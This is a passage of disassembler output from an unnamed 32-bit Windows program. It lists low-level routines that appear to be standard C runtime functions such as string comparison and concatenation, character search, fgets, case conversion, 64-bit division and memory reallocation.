sub_418C10	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D0E	proc near		; CODE XREF: sub_406C19+2E2p
					; sub_406C19+435p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_418D8A
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_418D2D
		cmp	edi, 1
		jz	short loc_418D2D
		cmp	edi, 2
		jnz	short loc_418D8A

loc_418D2D:				; CODE XREF: sub_418D0E+13j
					; sub_418D0E+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_418D44
		push	esi
		call	sub_41E5B1
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi

loc_418D44:				; CODE XREF: sub_418D0E+27j
		push	esi
		call	sub_41A7D0
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_418D59
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_418D6D
; ---------------------------------------------------------------------------

loc_418D59:				; CODE XREF: sub_418D0E+42j
		test	al, 1
		jz	short loc_418D6D
		test	al, 8
		jz	short loc_418D6D
		test	ah, 4
		jnz	short loc_418D6D
		mov	dword ptr [esi+18h], 200h

loc_418D6D:				; CODE XREF: sub_418D0E+49j
					; sub_418D0E+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_41E517
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_418D97
; ---------------------------------------------------------------------------

loc_418D8A:				; CODE XREF: sub_418D0E+Bj
					; sub_418D0E+1Dj
		mov	ds:dword_48A014, 16h
		or	eax, 0FFFFFFFFh

loc_418D97:				; CODE XREF: sub_418D0E+7Aj
		pop	edi
		pop	esi
		retn
sub_418D0E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DA0	proc near		; CODE XREF: sub_406C19+2ACp
					; sub_406C19+2CDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_418DD1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_418DCF
		jz	short loc_418DD1
		dec	ecx
		dec	ecx

loc_418DCF:				; CODE XREF: sub_418DA0+29j
		not	ecx

loc_418DD1:				; CODE XREF: sub_418DA0+9j
					; sub_418DA0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418DA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418DE0	proc near		; CODE XREF: sub_407110+5Cp
					; sub_407110+9Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_418E94
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_418E0A

loc_418DFB:				; CODE XREF: sub_418DE0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_418E3B
		test	edi, 3
		jnz	short loc_418DFB

loc_418E0A:				; CODE XREF: sub_418DE0+19j
					; sub_418DE0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_418E0A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_418E48
		test	ah, ah
		jz	short loc_418E43
		test	eax, 0FF0000h
		jz	short loc_418E3E
		test	eax, 0FF000000h
		jnz	short loc_418E0A

loc_418E3B:				; CODE XREF: sub_418DE0+20j
		dec	edi
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------

loc_418E3E:				; CODE XREF: sub_418DE0+52j
		sub	edi, 2
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------

loc_418E43:				; CODE XREF: sub_418DE0+4Bj
		sub	edi, 3
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------

loc_418E48:				; CODE XREF: sub_418DE0+47j
		sub	edi, 4

loc_418E4B:				; CODE XREF: sub_418DE0+5Cj
					; sub_418DE0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_418E60
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418EAC
		jmp	short loc_418E7C
; ---------------------------------------------------------------------------

loc_418E60:				; CODE XREF: sub_418DE0+75j
					; sub_418DE0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_418E9A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_418E90
		test	esi, 3
		jnz	short loc_418E60
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418EAC

loc_418E7C:				; CODE XREF: sub_418DE0+7Ej
					; sub_418DE0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_418E90

loc_418E83:				; CODE XREF: sub_418DE0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_418E92
		dec	ecx
		jnz	short loc_418E83

loc_418E90:				; CODE XREF: sub_418DE0+8Bj
					; sub_418DE0+A1j
		mov	[edi], cl

loc_418E92:				; CODE XREF: sub_418DE0+ABj
		pop	ebx
		pop	esi

loc_418E94:				; CODE XREF: sub_418DE0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418E9A:				; CODE XREF: sub_418DE0+85j
					; sub_418DE0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418EA4:				; CODE XREF: sub_418DE0+E4j
					; sub_418DE0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_418E7C

loc_418EAC:				; CODE XREF: sub_418DE0+7Cj
					; sub_418DE0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_418EA4
		test	dl, dl
		jz	short loc_418E9A
		test	dh, dh
		jz	short loc_418EF8
		test	edx, 0FF0000h
		jz	short loc_418EE8
		test	edx, 0FF000000h
		jnz	short loc_418EA4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418EE8:				; CODE XREF: sub_418DE0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418EF8:				; CODE XREF: sub_418DE0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_418DE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F10	proc near		; CODE XREF: sub_407252+2A2p
					; sub_40EE72+31DBp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_418F31
		xor	eax, eax
		jmp	short loc_418F33
; ---------------------------------------------------------------------------

loc_418F31:				; CODE XREF: sub_418F10+1Bj
		mov	eax, edi

loc_418F33:				; CODE XREF: sub_418F10+1Fj
		cld
		pop	edi
		leave
		retn
sub_418F10	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_418F50

loc_418F40:				; CODE XREF: sub_418F50+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_418F50
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418F50	proc near		; CODE XREF: sub_408C26+DBp
					; sub_40DAF0+32p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00418F40 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]

loc_418F56:				; CODE XREF: sub_417880+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_418F7B

loc_418F68:				; CODE XREF: sub_418F50+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_418F40
		test	cl, cl
		jz	short loc_418FC4
		test	edx, 3
		jnz	short loc_418F68

loc_418F7B:				; CODE XREF: sub_418F50+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax

loc_418F86:				; CODE XREF: sub_418F50+61j
					; sub_418F50+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_418FC8
		and	eax, 81010100h
		jz	short loc_418F86
		and	eax, 1010100h
		jnz	short loc_418FC2
		and	esi, 80000000h
		jnz	short loc_418F86

loc_418FC2:				; CODE XREF: sub_418F50+68j
					; sub_418F50+81j ...
		pop	esi
		pop	edi

loc_418FC4:				; CODE XREF: sub_418F50+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_418FC8:				; CODE XREF: sub_418F50+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_419005
		test	al, al
		jz	short loc_418FC2
		cmp	ah, bl
		jz	short loc_418FFE
		test	ah, ah
		jz	short loc_418FC2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_418FF7
		test	al, al
		jz	short loc_418FC2
		cmp	ah, bl
		jz	short loc_418FF0
		test	ah, ah
		jz	short loc_418FC2
		jmp	short loc_418F86
; ---------------------------------------------------------------------------

loc_418FF0:				; CODE XREF: sub_418F50+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_418FF7:				; CODE XREF: sub_418F50+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_418FFE:				; CODE XREF: sub_418F50+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_419005:				; CODE XREF: sub_418F50+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_418F50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41900C	proc near		; CODE XREF: sub_408C26+AFp
					; sub_40EE72+47F2p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_419020
		xor	eax, eax
		jmp	short loc_419056
; ---------------------------------------------------------------------------

loc_419020:				; CODE XREF: sub_41900C+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_419050
		mov	esi, [ebp+arg_8]

loc_419029:				; CODE XREF: sub_41900C+42j
		dec	dword ptr [esi+4]
		js	short loc_419038
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41903F
; ---------------------------------------------------------------------------

loc_419038:				; CODE XREF: sub_41900C+20j
		push	esi
		call	sub_41E248
		pop	ecx

loc_41903F:				; CODE XREF: sub_41900C+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41905A
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_419050
		dec	[ebp+arg_4]
		jnz	short loc_419029

loc_419050:				; CODE XREF: sub_41900C+18j
					; sub_41900C+3Dj ...
		and	byte ptr [edi],	0

loc_419053:				; CODE XREF: sub_41900C+55j
		mov	eax, ebx
		pop	esi

loc_419056:				; CODE XREF: sub_41900C+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41905A:				; CODE XREF: sub_41900C+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_419050
		xor	ebx, ebx
		jmp	short loc_419053
sub_41900C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419063	proc near		; CODE XREF: sub_409209+BFp
					; sub_409209+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, ds:dword_48A0A8
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_419097
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_4190FE

loc_41907F:				; CODE XREF: sub_419063+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_419090
		cmp	cl, 7Ah
		jg	short loc_419090
		sub	cl, 20h
		mov	[edx], cl

loc_419090:				; CODE XREF: sub_419063+21j
					; sub_419063+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41907F
		jmp	short loc_4190FE
; ---------------------------------------------------------------------------

loc_419097:				; CODE XREF: sub_419063+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_41E709
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_4190F0
		push	edi
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_4190F0
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	ds:dword_48A0A8
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_4190F0
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_4179C0
		pop	ecx
		pop	ecx

loc_4190F0:				; CODE XREF: sub_419063+53j
					; sub_419063+61j ...
		push	[ebp+var_4]
		call	sub_417C3B
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi

loc_4190FE:				; CODE XREF: sub_419063+1Aj
					; sub_419063+32j
		pop	ebx
		leave
		retn
sub_419063	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419101	proc near		; CODE XREF: sub_40A951+6p
					; sub_40A96F+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_48A0A8, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41912E
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_4191C7
		cmp	eax, 5Ah
		jg	loc_4191C7
		add	eax, 20h
		jmp	loc_4191C7
; ---------------------------------------------------------------------------

loc_41912E:				; CODE XREF: sub_419101+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_419162
		cmp	ds:dword_4397AC, esi
		jle	short loc_419150
		push	esi
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41915A
; ---------------------------------------------------------------------------

loc_419150:				; CODE XREF: sub_419101+42j
		mov	eax, ds:off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, esi

loc_41915A:				; CODE XREF: sub_419101+4Dj
		test	eax, eax
		jnz	short loc_419162

loc_41915E:				; CODE XREF: sub_419101+ADj
		mov	eax, ebx
		jmp	short loc_4191C7
; ---------------------------------------------------------------------------

loc_419162:				; CODE XREF: sub_419101+3Aj
					; sub_419101+5Bj
		mov	edx, ds:off_4395A0
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_419186
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41918F
; ---------------------------------------------------------------------------

loc_419186:				; CODE XREF: sub_419101+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi

loc_41918F:				; CODE XREF: sub_419101+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	ds:dword_48A0A8
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_41915E
		cmp	eax, esi
		jnz	short loc_4191BA
		movzx	eax, [ebp+var_4]
		jmp	short loc_4191C7
; ---------------------------------------------------------------------------

loc_4191BA:				; CODE XREF: sub_419101+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_4191C7:				; CODE XREF: sub_419101+16j
					; sub_419101+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419101	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4191D0	proc near		; CODE XREF: sub_40B822+3Dp
					; sub_40D01A+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_4191F1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_419241
; ---------------------------------------------------------------------------

loc_4191F1:				; CODE XREF: sub_4191D0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]

loc_4191FF:				; CODE XREF: sub_4191D0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4191FF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41922A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41922A
		jb	short loc_419232
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_419232

loc_41922A:				; CODE XREF: sub_4191D0+4Aj
					; sub_4191D0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]

loc_419232:				; CODE XREF: sub_4191D0+52j
					; sub_4191D0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0

loc_419241:				; CODE XREF: sub_4191D0+1Fj
		pop	ebx
		retn	10h
sub_4191D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419250	proc near		; CODE XREF: sub_40B822+24p
					; sub_40D01A+3Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_419272
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4192B3
; ---------------------------------------------------------------------------

loc_419272:				; CODE XREF: sub_419250+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]

loc_419280:				; CODE XREF: sub_419250+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_419280
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4192AE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4192AE
		jb	short loc_4192AF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4192AF

loc_4192AE:				; CODE XREF: sub_419250+4Ej
					; sub_419250+54j
		dec	esi

loc_4192AF:				; CODE XREF: sub_419250+56j
					; sub_419250+5Cj
		xor	edx, edx
		mov	eax, esi

loc_4192B3:				; CODE XREF: sub_419250+20j
		pop	esi
		pop	ebx
		retn	10h
sub_419250	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192B8	proc near		; CODE XREF: sub_40B8D8+1E3p
					; sub_40E6A9+F7p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_417AB0
		cmp	eax, 1
		pop	ecx
		jb	short loc_4192F3
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_4192F3
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_4192EF
		push	2
		push	ebx
		push	esi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+2], 0

loc_4192EF:				; CODE XREF: sub_4192B8+25j
		inc	ebx
		inc	ebx
		jmp	short loc_4192FD
; ---------------------------------------------------------------------------

loc_4192F3:				; CODE XREF: sub_4192B8+18j
					; sub_4192B8+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_4192FD
		and	byte ptr [eax],	0

loc_4192FD:				; CODE XREF: sub_4192B8+39j
					; sub_4192B8+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_419375

loc_419310:				; CODE XREF: sub_4192B8+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	ds:byte_48B561[edx], 4
		jz	short loc_419321
		inc	eax
		jmp	short loc_41933B
; ---------------------------------------------------------------------------

loc_419321:				; CODE XREF: sub_4192B8+64j
		cmp	cl, 2Fh
		jz	short loc_419335
		cmp	cl, 5Ch
		jz	short loc_419335
		cmp	cl, 2Eh
		jnz	short loc_41933B
		mov	[ebp+var_4], eax
		jmp	short loc_41933B
; ---------------------------------------------------------------------------

loc_419335:				; CODE XREF: sub_4192B8+6Cj
					; sub_4192B8+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx

loc_41933B:				; CODE XREF: sub_4192B8+67j
					; sub_4192B8+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_419310
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_419375
		cmp	[ebp+arg_8], 0
		jz	short loc_419370
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_419359
		mov	edi, esi

loc_419359:				; CODE XREF: sub_4192B8+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41ED0D
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_419370:				; CODE XREF: sub_4192B8+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41937F
; ---------------------------------------------------------------------------

loc_419375:				; CODE XREF: sub_4192B8+56j
					; sub_4192B8+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41937F
		and	byte ptr [ecx],	0

loc_41937F:				; CODE XREF: sub_4192B8+BBj
					; sub_4192B8+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_4193D2
		cmp	edi, ebx
		jb	short loc_4193D2
		cmp	[ebp+arg_C], 0
		jz	short loc_4193AF
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_419398
		mov	edi, esi

loc_419398:				; CODE XREF: sub_4192B8+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41ED0D
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_4193AF:				; CODE XREF: sub_4192B8+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_4193FA
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_4193BF
		mov	esi, eax

loc_4193BF:				; CODE XREF: sub_4192B8+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------

loc_4193D2:				; CODE XREF: sub_4192B8+CCj
					; sub_4192B8+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_4193F0
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_4193E1
		mov	esi, eax

loc_4193E1:				; CODE XREF: sub_4192B8+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0

loc_4193F0:				; CODE XREF: sub_4192B8+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_4193FA
		and	byte ptr [eax],	0

loc_4193FA:				; CODE XREF: sub_4192B8+FCj
					; sub_4192B8+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4192B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193FF	proc near		; CODE XREF: sub_40BFE1+19p
					; sub_40D633+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41943D
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41944A
; ---------------------------------------------------------------------------

loc_41943D:				; CODE XREF: sub_4193FF+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx

loc_41944A:				; CODE XREF: sub_4193FF+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4193FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41944F	proc near		; CODE XREF: sub_40C259+2Ep
					; sub_418603+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41946A
		push	[ebp+arg_4]
		call	sub_417B89
		pop	ecx
		jmp	loc_4196EA
; ---------------------------------------------------------------------------

loc_41946A:				; CODE XREF: sub_41944F+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41947F
		push	[ebp+arg_0]
		call	sub_417C3B
		pop	ecx
		jmp	loc_4196E8
; ---------------------------------------------------------------------------

loc_41947F:				; CODE XREF: sub_41944F+20j
		mov	eax, ds:dword_48B688
		cmp	eax, 3
		jnz	loc_41958F

loc_41948D:				; CODE XREF: sub_41944F+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41956B
		push	[ebp+arg_0]
		call	sub_41AD89
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_419546
		cmp	esi, ds:dword_48B680
		ja	short loc_4194FF
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B592
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4194FB
		push	esi
		call	sub_41B0DD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_4194FF
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_4194DF
		mov	eax, esi

